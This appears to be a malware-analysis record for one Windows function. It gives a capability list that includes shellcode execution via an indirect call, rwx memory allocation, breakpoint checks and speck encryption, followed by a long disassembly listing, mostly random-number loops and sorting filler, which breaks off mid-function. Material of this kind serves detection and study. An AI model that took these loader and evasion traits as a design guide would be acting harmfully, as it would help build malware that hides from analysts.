Function at 0x1400014a4
Capabilities:
Allocate or change rwx memory
Authenticate hmac
Check for software breakpoints
Check http status code
Encode data using base64
Encrypt data using speck
Execute shellcode via indirect call
Link many functions at runtime
Parse pe header
Read file via mapping

Disassembly:
push rbp
push rbx
mov eax, 0xf7a8
call fcn.1400cd990
sub rsp, rax
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0xf710], xmm6
mov dword [rbp + 0xf740], ecx
mov qword [rbp + 0xf748], rdx
call fcn.1400cc9e0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x9ca0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x9c98], rax
mov ecx, 0x36a8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x9c90], rax
mov dword [rbp + 0xf70c], 0
jmp 0x140001566
call sub.msvcrt.dll_rand
imul eax, eax, 0x286
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400d6168]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.1400ce120
movq rax, xmm0
mov qword [rbp + 0x140], rax
add dword [rbp + 0xf70c], 1
cmp dword [rbp + 0xf70c], 0x52
jle 0x140001525
mov dword [rbp + 0xf708], 0x46
jmp 0x140001582
sub dword [rbp + 0xf708], 1
cmp dword [rbp + 0xf708], 0
jg 0x14000157b
mov dword [rbp + 0xf704], 0
jmp 0x1400015dc
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400d6168]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.1400cdc60
movq rax, xmm0
mov qword [rbp + 0x148], rax
add dword [rbp + 0xf704], 1
cmp dword [rbp + 0xf704], 0x146
jle 0x140001597
mov dword [rbp + 0x9c8c], 1
mov ecx, 0x208
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x9c80], rax
mov qword [rbp + 0xf6f8], 2
jmp 0x140001637
mov rax, qword [rbp + 0xf6f8]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x9c80]
add rax, rdx
mov dword [rax], 1
add qword [rbp + 0xf6f8], 1
cmp qword [rbp + 0xf6f8], 0x81
jbe 0x140001610
mov qword [rbp + 0xf6f8], 2
jmp 0x1400016ce
mov rax, qword [rbp + 0xf6f8]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x9c80]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x1400016c6
mov rax, qword [rbp + 0xf6f8]
mov qword [rbp + 0xf6f0], rax
jmp 0x1400016af
mov rax, qword [rbp + 0xf6f8]
imul rax, qword [rbp + 0xf6f0]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x9c80]
add rax, rdx
mov dword [rax], 0
add qword [rbp + 0xf6f0], 1
mov rax, qword [rbp + 0xf6f8]
imul rax, qword [rbp + 0xf6f0]
cmp rax, 0x81
jbe 0x140001680
add qword [rbp + 0xf6f8], 1
cmp qword [rbp + 0xf6f8], 0x81
jbe 0x140001651
mov rax, qword [rbp + 0x9c80]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0xf6ec], 0
jmp 0x14000173b
call sub.msvcrt.dll_rand
imul eax, eax, 0x2fd
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400d6168]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.1400ce120
movq rax, xmm0
mov qword [rbp + 0x150], rax
add dword [rbp + 0xf6ec], 1
cmp dword [rbp + 0xf6ec], 0x174
jle 0x1400016fa
mov dword [rbp + 0xf6e8], 0xffffffff
pxor xmm0, xmm0
movsd qword [rbp + 0xf6e0], xmm0
add dword [rbp + 0xf6e8], 1
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0xf6e8]
movsd xmm0, qword [0x1400d6170]
addsd xmm0, xmm1
mov rax, qword [0x1400d6178]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.1400ce2f0
movq rax, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0xf6e8]
addsd xmm0, xmm0
movsd xmm2, qword [0x1400d6170]
movupd xmm1, xmm0
subsd xmm1, xmm2
movq xmm0, rax
divsd xmm0, xmm1
movsd xmm1, qword [rbp + 0xf6e0]
addsd xmm0, xmm1
movsd qword [rbp + 0xf6e0], xmm0
cmp dword [rbp + 0xf6e8], 0x5c
jle 0x14000175d
movsd xmm1, qword [rbp + 0xf6e0]
movsd xmm0, qword [0x1400d6180]
mulsd xmm0, xmm1
movsd qword [rbp + 0xf6e0], xmm0
mov dword [rbp + 0xf6dc], 0xffffffff
mov ecx, 0xf48
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x9c78], rax
mov ecx, 0xf48
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x9c70], rax
add dword [rbp + 0xf6dc], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0xf6dc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x9c78]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0xf6dc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x9c78]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0xf6dc]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x9c70]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.1400cdb80
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0xf6dc], 0x1e7
jle 0x140001824
mov dword [rbp + 0xf6d4], 0xffffffff
add dword [rbp + 0xf6d4], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0xd6
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400d6168]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.1400ce120
movq rax, xmm0
mov qword [rbp + 0x9c68], rax
cmp dword [rbp + 0xf6d4], 0x17a
jle 0x140001913
mov dword [rbp + 0xf6d0], 0xffffffff
mov ecx, 0x568
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x9c60], rax
add dword [rbp + 0xf6d0], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0xf6d0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x9c60]
add rax, rdx
movsd xmm1, qword [0x1400d6168]
divsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0xf6d0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x9c60]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0xf6d0]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x9c60]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0xf6d0], 0xab
jle 0x14000197b
mov ecx, 0x4b0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x9c58], rax
mov ecx, 0x4b0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x9c50], rax
mov ecx, 0x4b0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x9c48], rax
mov ecx, 0x4b0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x9c40], rax
mov dword [rbp + 0xf6c8], 0x12b
mov dword [rbp + 0xf6cc], 0
jmp 0x140001b04
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0xf6cc]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x9c58]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0xf6cc]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x9c50]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0xf6cc], 1
cmp dword [rbp + 0xf6cc], 0x12b
jle 0x140001a71
mov dword [rbp + 0xf6cc], 0
jmp 0x140001ba3
mov eax, dword [rbp + 0xf6c8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x9c58]
add rax, rdx
mov edx, dword [rbp + 0xf6cc]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x9c48]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0xf6c8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x9c50]
add rax, rdx
mov edx, dword [rbp + 0xf6cc]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x9c40]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0xf6c8], 1
add dword [rbp + 0xf6cc], 1
cmp dword [rbp + 0xf6cc], 0x12b
jle 0x140001b23
mov rax, qword [rbp + 0x9c58]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x9c50]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x9c48]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x9c40]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0xf6c4], 0xffffffff
add dword [rbp + 0xf6c4], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffb21642c9
shr rdx, 0x20
add edx, eax
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x9c3c], edx
mov edx, dword [rbp + 0x9c3c]
imul edx, edx, 0x17
sub eax, edx
mov dword [rbp + 0x9c3c], eax
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400d6168]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x9c3c]
movq xmm0, rax
call fcn.1400ce050
movq rax, xmm0
mov qword [rbp + 0x9c30], rax
cmp dword [rbp + 0xf6c4], 0xb3
jle 0x140001bf9
mov dword [rbp + 0xf6c0], 0
jmp 0x140001d0a
call sub.msvcrt.dll_rand
mov edx, eax
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
sar eax, 3
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
mov dword [rbp + 0x164], eax
mov ecx, dword [rbp + 0x164]
mov eax, ecx
shl eax, 2
add eax, ecx
shl eax, 2
sub edx, eax
mov dword [rbp + 0x164], edx
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400d6168]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x164]
movq xmm0, rax
call fcn.1400ce050
movq rax, xmm0
mov qword [rbp + 0x158], rax
add dword [rbp + 0xf6c0], 1
cmp dword [rbp + 0xf6c0], 0x242
jle 0x140001c8c
mov dword [rbp + 0x9c2c], 0
mov dword [rbp + 0xf6b4], 0
mov ecx, 0x780
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x9c20], rax
mov dword [rbp + 0xf6bc], 0
jmp 0x140001e08
mov dword [rbp + 0xf6b8], 0
jmp 0x140001df4
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, dword [rbp + 0xf6bc]
movsxd rcx, eax
mov rax, rcx
add rax, rax
add rax, rcx
shl rax, 5
mov rcx, rax
mov rax, qword [rbp + 0x9c20]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0xf6b8]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
mov eax, dword [rbp + 0xf6bc]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x9c20]
add rdx, rax
mov eax, dword [rbp + 0xf6b8]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x140001ded
add dword [rbp + 0xf6b4], 1
add dword [rbp + 0xf6b8], 1
cmp dword [rbp + 0xf6b8], 0x17
jle 0x140001d5d
add dword [rbp + 0xf6bc], 1
cmp dword [rbp + 0xf6bc], 0x13
jle 0x140001d4e
cmp dword [rbp + 0xf6b4], 0xf0
jne 0x140001e2b
mov dword [rbp + 0x9c2c], 1
mov rax, qword [rbp + 0x9c20]
mov rcx, rax
call sub.msvcrt.dll_free
mov ecx, 0x238
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x9c18], rax
mov dword [rbp + 0xf6b0], 0
jmp 0x140001ee3
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0xf6b0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x9c18]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0xf6b0], 1
cmp dword [rbp + 0xf6b0], 0x8d
jle 0x140001e5a
mov dword [rbp + 0xf6b0], 0
jmp 0x14000200f
mov dword [rbp + 0x16c], 0
jmp 0x140001ff1
mov eax, dword [rbp + 0xf6b0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x9c18]
add rax, rdx
movss xmm0, dword [rax]
mov eax, dword [rbp + 0x16c]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x9c18]
add rax, rdx
movss xmm1, dword [rax]
comiss xmm0, xmm1
jbe 0x140001fea
mov eax, dword [rbp + 0x16c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x9c18]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x168], xmm0
mov eax, dword [rbp + 0xf6b0]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x9c18]
add rdx, rax
mov eax, dword [rbp + 0x16c]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x9c18]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x16c]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x9c18]
add rax, rdx
movss xmm0, dword [rbp + 0x168]
movss dword [rax], xmm0
add dword [rbp + 0xf6b0], 1
mov eax, 0x8d
sub eax, dword [rbp + 0xf6b0]
cmp dword [rbp + 0x16c], eax
jl 0x140001f11
add dword [rbp + 0xf6b0], 1
cmp dword [rbp + 0xf6b0], 0x8d
jle 0x140001f02
mov rax, qword [rbp + 0x9c18]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0xf6ac], 0
jmp 0x14000207f
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400d6168]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.1400cdc60
movq rax, xmm0
mov qword [rbp + 0x170], rax
add dword [rbp + 0xf6ac], 1
cmp dword [rbp + 0xf6ac], 0xa1
jle 0x14000203a
mov ecx, 0x370
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x9c10], rax
mov dword [rbp + 0xf6a8], 0
mov dword [rbp + 0x9c0c], 1
mov dword [rbp + 0xf6a4], 0
jmp 0x140002137
mov dword [rbp + 0xf6a0], 0
jmp 0x140002127
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, dword [rbp + 0xf6a4]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x9c10]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0xf6a0]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
add dword [rbp + 0xf6a0], 1
cmp dword [rbp + 0xf6a0], 0x13
jle 0x1400020c8
add dword [rbp + 0xf6a4], 1
cmp dword [rbp + 0xf6a4], 0xa
jle 0x1400020bc
mov dword [rbp + 0xf6a4], 0
jmp 0x1400021ad
mov dword [rbp + 0xf6a0], 0
jmp 0x14000219d
mov eax, dword [rbp + 0xf6a4]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x9c10]
add rdx, rax
mov eax, dword [rbp + 0xf6a0]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x140002196
add dword [rbp + 0xf6a8], 1
add dword [rbp + 0xf6a0], 1
cmp dword [rbp + 0xf6a0], 0x13
jle 0x14000215c
add dword [rbp + 0xf6a4], 1
cmp dword [rbp + 0xf6a4], 0xa
jle 0x140002150
cmp dword [rbp + 0xf6a8], 0x6e
je 0x1400021c9
mov dword [rbp + 0x9c0c], 0
mov rax, qword [rbp + 0x9c10]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0xf698], 1
jmp 0x140002294
mov dword [rbp + 0xf69c], 0
mov eax, dword [rbp + 0xf698]
mov dword [rbp + 0xf694], eax
jmp 0x14000226a
mov edx, dword [rbp + 0xf694]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x17c], edx
mov eax, dword [rbp + 0x17c]
imul eax, eax
imul eax, dword [rbp + 0x17c]
add dword [rbp + 0xf69c], eax
mov eax, dword [rbp + 0xf694]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0xf694], eax
cmp dword [rbp + 0xf694], 0
jne 0x1400021ff
mov eax, dword [rbp + 0xf69c]
cmp eax, dword [rbp + 0xf698]
jne 0x14000228d
mov eax, dword [rbp + 0xf698]
mov dword [rbp + 0x180], eax
add dword [rbp + 0xf698], 1
cmp dword [rbp + 0xf698], 0x101
jle 0x1400021e7
mov qword [rbp + 0xf688], 0
mov dword [rbp + 0xf690], 0x90
jmp 0x1400022d1
mov eax, dword [rbp + 0xf690]
cdqe
add qword [rbp + 0xf688], rax
sub dword [rbp + 0xf690], 1
cmp dword [rbp + 0xf690], 0
jg 0x1400022bb
mov dword [rbp + 0x9c08], 0
mov ecx, 0x444
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x9c00], rax
mov dword [rbp + 0xf684], 0
jmp 0x1400023e5
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x9c08], edx
mov edx, dword [rbp + 0x9c08]
imul edx, edx, 0x190
sub eax, edx
mov dword [rbp + 0x9c08], eax
cmp dword [rbp + 0x9c08], 0x168
jle 0x14000236b
mov eax, dword [rbp + 0xf684]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x9c00]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x1400023de
cmp dword [rbp + 0x9c08], 0
jns 0x140002398
mov eax, dword [rbp + 0xf684]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x9c00]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x1400023de
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x9c08]
movsd xmm0, qword [0x1400d6188]
mulsd xmm0, xmm1
movsd xmm1, qword [0x1400d6190]
divsd xmm0, xmm1
mov eax, dword [rbp + 0xf684]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x9c00]
add rax, rdx
cvtsd2ss xmm0, xmm0
movss dword [rax], xmm0
add dword [rbp + 0xf684], 1
cmp dword [rbp + 0xf684], 0x110
jle 0x140002304
mov rax, qword [rbp + 0x9c00]
mov rcx, rax
call sub.msvcrt.dll_free
mov ecx, 0x784
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x9bf8], rax
mov ecx, 0x784
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x9bf0], rax
mov ecx, 0x784
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x9be8], rax
mov ecx, 0x784
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x9be0], rax
mov dword [rbp + 0xf67c], 0x1e0
mov dword [rbp + 0xf680], 0
jmp 0x14000256d
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0xf680]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x9bf8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0xf680]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x9bf0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0xf67c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x9bf8]
add rax, rdx
mov edx, dword [rbp + 0xf680]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x9be8]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0xf67c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x9bf0]
add rax, rdx
mov edx, dword [rbp + 0xf680]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x9be0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0xf67c], 1
add dword [rbp + 0xf680], 1
cmp dword [rbp + 0xf680], 0x1e0
jle 0x140002461
mov rax, qword [rbp + 0x9bf8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x9bf0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x9be8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x9be0]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0xf678], 0x78
jmp 0x1400025cc
sub dword [rbp + 0xf678], 1
cmp dword [rbp + 0xf678], 0x5a
jg 0x1400025c5
mov dword [rbp + 0xf674], 0
mov dword [rbp + 0xf670], 0
mov ecx, 0x270
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x9bd8], rax
mov dword [rbp + 0xf66c], 0
jmp 0x140002674
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0xf66c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x9bd8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0xf66c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x9bd8]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0xf674], eax
add dword [rbp + 0xf66c], 1
cmp dword [rbp + 0xf66c], 0x9b
jle 0x140002606
mov dword [rbp + 0xf66c], 0
jmp 0x1400026fc
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0xf670]
mov eax, dword [rbp + 0xf66c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x9bd8]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x184]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm0
movq rax, xmm3
movsd xmm0, qword [0x1400d6198]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.1400ce2f0
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0xf670], eax
add dword [rbp + 0xf66c], 1
cmp dword [rbp + 0xf66c], 0x9b
jle 0x14000268c
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0xf670]
movss xmm1, dword [0x1400d61a0]
divss xmm0, xmm1
movss dword [rbp + 0x9bd4], xmm0
pxor xmm4, xmm4
cvtss2sd xmm4, dword [rbp + 0x9bd4]
movq rax, xmm4
movq xmm0, rax
call fcn.1400cd9f0
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x9bd0], xmm0
mov rax, qword [rbp + 0x9bd8]
mov rcx, rax
call sub.msvcrt.dll_free
mov ecx, 0x2c4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x9bc8], rax
mov dword [rbp + 0xf668], 0
jmp 0x1400027c8
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0xf668]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x9bc8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0xf668], 1
cmp dword [rbp + 0xf668], 0xb0
jle 0x14000277b
mov dword [rbp + 0xf668], 0
jmp 0x1400028e0
mov dword [rbp + 0x18c], 0
jmp 0x1400028c2
mov eax, dword [rbp + 0xf668]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x9bc8]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x18c]
cdqe
add rax, 1
lea rcx, [rax*4]
mov rax, qword [rbp + 0x9bc8]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jle 0x1400028bb
mov eax, dword [rbp + 0x18c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x9bc8]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x188], eax
mov eax, dword [rbp + 0xf668]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x9bc8]
add rax, rdx
mov edx, dword [rbp + 0x18c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x9bc8]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x18c]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x9bc8]
add rdx, rax
mov eax, dword [rbp + 0x188]
mov dword [rdx], eax
add dword [rbp + 0xf668], 1
mov eax, 0xb0
sub eax, dword [rbp + 0xf668]
cmp dword [rbp + 0x18c], eax
jl 0x1400027f2
add dword [rbp + 0xf668], 1
cmp dword [rbp + 0xf668], 0xb0
jle 0x1400027e3
mov rax, qword [rbp + 0x9bc8]
mov rcx, rax
call sub.msvcrt.dll_free
mov ecx, 0xa08
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x9bc0], rax
mov dword [rbp + 0xf664], 0
jmp 0x14000295a
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0xf664]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x9bc0]
add rax, rdx
